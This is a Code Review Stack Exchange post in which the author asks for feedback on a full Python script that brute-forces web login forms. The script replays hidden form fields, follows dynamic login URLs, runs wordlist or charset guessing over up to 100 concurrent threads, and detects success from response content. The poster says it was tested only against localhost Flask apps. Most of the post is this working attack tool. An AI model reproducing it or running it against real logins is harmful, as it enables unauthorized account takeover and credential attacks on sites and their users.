2
\$\begingroup\$

I've been testing login forms on a couple web applications (mostly 'flasky', developed on the O'Reilly book 'Flask Web Development'), developing a bruteforce Python script meanwhile. I have NOT mounted a real attack except on localhost, although parts of the script (NOT the concurrent connections) were tried against other websites.

The script uses forms' post method for login attempts through the requests library. It requires you to take username and password field names from a form's source beforehand. It will add hidden fields and use changing login URL's by making use of bs4. It can do word list (multiple) or search (using a chosen charset) attacks, verifying that a password was found by checking a value in a response's JSON or content plus asserting that the URL has changed and the status code is 200.

Several command line arguments allow it some degree of adaptation to a target.

from argparse import ArgumentParser
from itertools import islice, product, combinations, zip_longest
from string import ascii_lowercase, ascii_uppercase, digits, punctuation
from collections import OrderedDict
from time import sleep
from concurrent.futures import ThreadPoolExecutor, as_completed
from io import StringIO
from inspect import getgeneratorstate
from sys import argv, stdout

from bs4 import BeautifulSoup as Bs
from requests import Session, exceptions

from cfg import *

SOURCE = SOURCE_USR, SOURCE_PWD
_URL = URL.split('/')
HIDDEN = 'input', 'value', 'type', 'hidden', 'name'
DYNAMIC = 'form', 'action', 'method', 'post', 'method'
SLC = 100
EXC = StringIO()


def parse_command_line_arguments(args):
    parser = ArgumentParser()
    parser.add_argument(
        'fn',
        choices=('validate_json', 'validate_str', 'validate_url')
    )
    parser.add_argument(
        '-wl', dest='wl', nargs='*', default=[None],
        help='Word lists'
    )
    parser.add_argument(
        '-start', dest='start', type=int, default=8,
        choices=range(4, 13), help='Min pwd len'
    )
    parser.add_argument(
        '-stop', dest='stop', type=int, default=12,
        choices=range(4, 13), help='Max pwd len'
    )
    parser.add_argument(
        '-step', dest='step', type=int, default=2,
        help='Step between len\'s'
    )
    parser.add_argument(
        '-istart', dest='istart', type=int, default=0,
        help='Start at pwd N'
    )
    parser.add_argument(
        '-istop', dest='istop', type=int, default=None,
        help='Stop at pwd N'
    )
    parser.add_argument(
        '-key', dest='key', type=int, default=14,
        choices=range(0, 15), help='Charset'
    )
    parser.add_argument(
        '-max_workers', dest='max_workers', type=int, default=100,
        help='Max worker threads'
    )
    return parser.parse_args(args)


def wl_pwd_generator(filename, istart, istop, **_):
    with open(filename, 'r') as file:
        yield
        yield from islice(
            map(str.rstrip, file), istart, istop
        )


def use_wl_pwd_generator(args):
    generators = {
        wl_pwd_generator(wl, **vars(args)) for wl in args.wl
    }
    for gen in generators:
        next(gen)
    return generators


def choose_from_ch(key):
    charset = ascii_lowercase, ascii_uppercase, \
              digits, punctuation
    ch = {}
    count = 0
    for n in range(1, len(charset) + 1):
        for combination in combinations(charset, r=n):
            ch[count] = ''.join(combination)
            count += 1
    return ch[key]


def pwd_generator(ch, istart, istop, start, stop, step, **_):
    def mk(n):
        return (''.join(pwd) for pwd in islice(
            product(ch, repeat=n), istart, istop
        ))

    return set(map(mk, range(start, stop + 1, step)))


def use_pwd_generator(args):
    return pwd_generator(
        choose_from_ch(args.key), **vars(args)
    )


def yield_html_pairs(content, tag, value, t, v, name):
    for html in Bs(content, 'html.parser').find_all(tag):
        try:
            if bool(html[value]) and html[t] == v \
                    and html[name] not in SOURCE:
                yield html[name], html[value]
        except KeyError:
            pass


def add_hidden_fields(payload, content):
    for name, value in yield_html_pairs(content, *HIDDEN):
        payload[name] = value


def remove_duplicates_in_url(dynamic_url):
    removed = OrderedDict.fromkeys(
        _URL[1:] + dynamic_url.split('/')[1:]
    )
    return _URL[0] + '/' + '/'.join(removed)


def change_to_dynamic_url(_, content):
    for _, value in yield_html_pairs(content, *DYNAMIC):
        return remove_duplicates_in_url(value)
    return URL


def apply_changes(payload, content):
    add_hidden_fields(payload, content)
    return change_to_dynamic_url('', content)


def validate_response(fn):
    def deco(response):
        return fn(response) and response.url != URL \
               and response.status_code == 200

    return deco


@validate_response
def validate_json(response):
    return response.json()[JSON_KEY] == SUCCESS_VALUE


@validate_response
def validate_str(response):
    return SUCCESS_VALUE in response.content.decode()


@validate_response
def validate_url(_):
    return True


def attempt_login(pwd, fn):
    payload = {SOURCE_USR: USR, SOURCE_PWD: pwd}
    with Session() as session:
        content = session.get(URL).content.decode()
        dynamic_url = apply_changes(payload, content)
        response = session.post(dynamic_url, data=payload)
    return pwd if fn(response) else None


def err_handler(*args):
    for n in range(1, 11):
        try:
            return attempt_login(*args)
        except exceptions.ConnectionError:
            sleep(n)
    else:
        raise exceptions.ConnectionError('ConnectionError')


def concur_connect(slc, max_workers, fn):
    with ThreadPoolExecutor(max_workers=max_workers) as exe:
        fs = (
            exe.submit(err_handler, pwd, fn) for pwd in slc
        )
        yield from (
            future.result() for future in as_completed(fs)
        )


def slc_gen(gen, *args):
    try:
        yield from concur_connect(islice(gen, SLC), *args)
    except Exception as exc:
        EXC.write('\n[-] {}'.format(exc))
        gen.close()


def zip_generators(generators, *args):
    return map(set, zip_longest(
        *{slc_gen(gen, *args) for gen in generators}
    ))


def not_closed(gen):
    return getgeneratorstate(gen) != 'GEN_CLOSED'


def filter_not_closed(generators):
    return set(filter(not_closed, generators))


def probe(generators, *args):
    count = 0
    msg = '[*] Attempts per generator: {}\r'
    while generators:
        for res in zip_generators(generators, *args):
            count += 1
            count_msg = msg.format(count)
            try:
                res.remove(None)
                pwd = res.pop()
            except KeyError:
                stdout.write(count_msg)
            else:
                stdout.write(
                    count_msg.rstrip() + ' | Found: {}\r'.format(pwd)
                )
                return
        generators = filter_not_closed(generators)


def choose_generator(args):
    fn = eval(args.fn)
    max_workers = args.max_workers
    try:
        probe(use_wl_pwd_generator(args), max_workers, fn)
    except TypeError:
        probe(use_pwd_generator(args), max_workers, fn)
    except FileNotFoundError as exc:
        exit(exc)


def main(args):
    try:
        choose_generator(
            parse_command_line_arguments(args)
        )
    except KeyboardInterrupt:
        pass
    stdout.write(EXC.getvalue())


if __name__ == '__main__':
    main(argv[1:])

cfg looks like:

SOURCE_USR = 'email'
SOURCE_PWD = 'password'
URL = 'http://127.0.0.1:5000/auth/login'
USR = 'my_username'
JSON_KEY = ''
SUCCESS_VALUE = None

I'm unsure if this came out as a toy implementation.

\$\endgroup\$
  • \$\begingroup\$ Could you describe what "Miguel Grinberg's flasky" is? Any and all written details can help potential reviewers. \$\endgroup\$ – Peilonrayz Sep 15 '17 at 21:00
  • \$\begingroup\$ Miguel Grinberg's flasky is a web application developed in 'Flask Web Development', an O'Reilly book. It is an introduction to the Flask Python framework. If it's ok to post a link, you can find it here: github.com/miguelgrinberg/flasky \$\endgroup\$ – user133955 Sep 15 '17 at 21:40

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy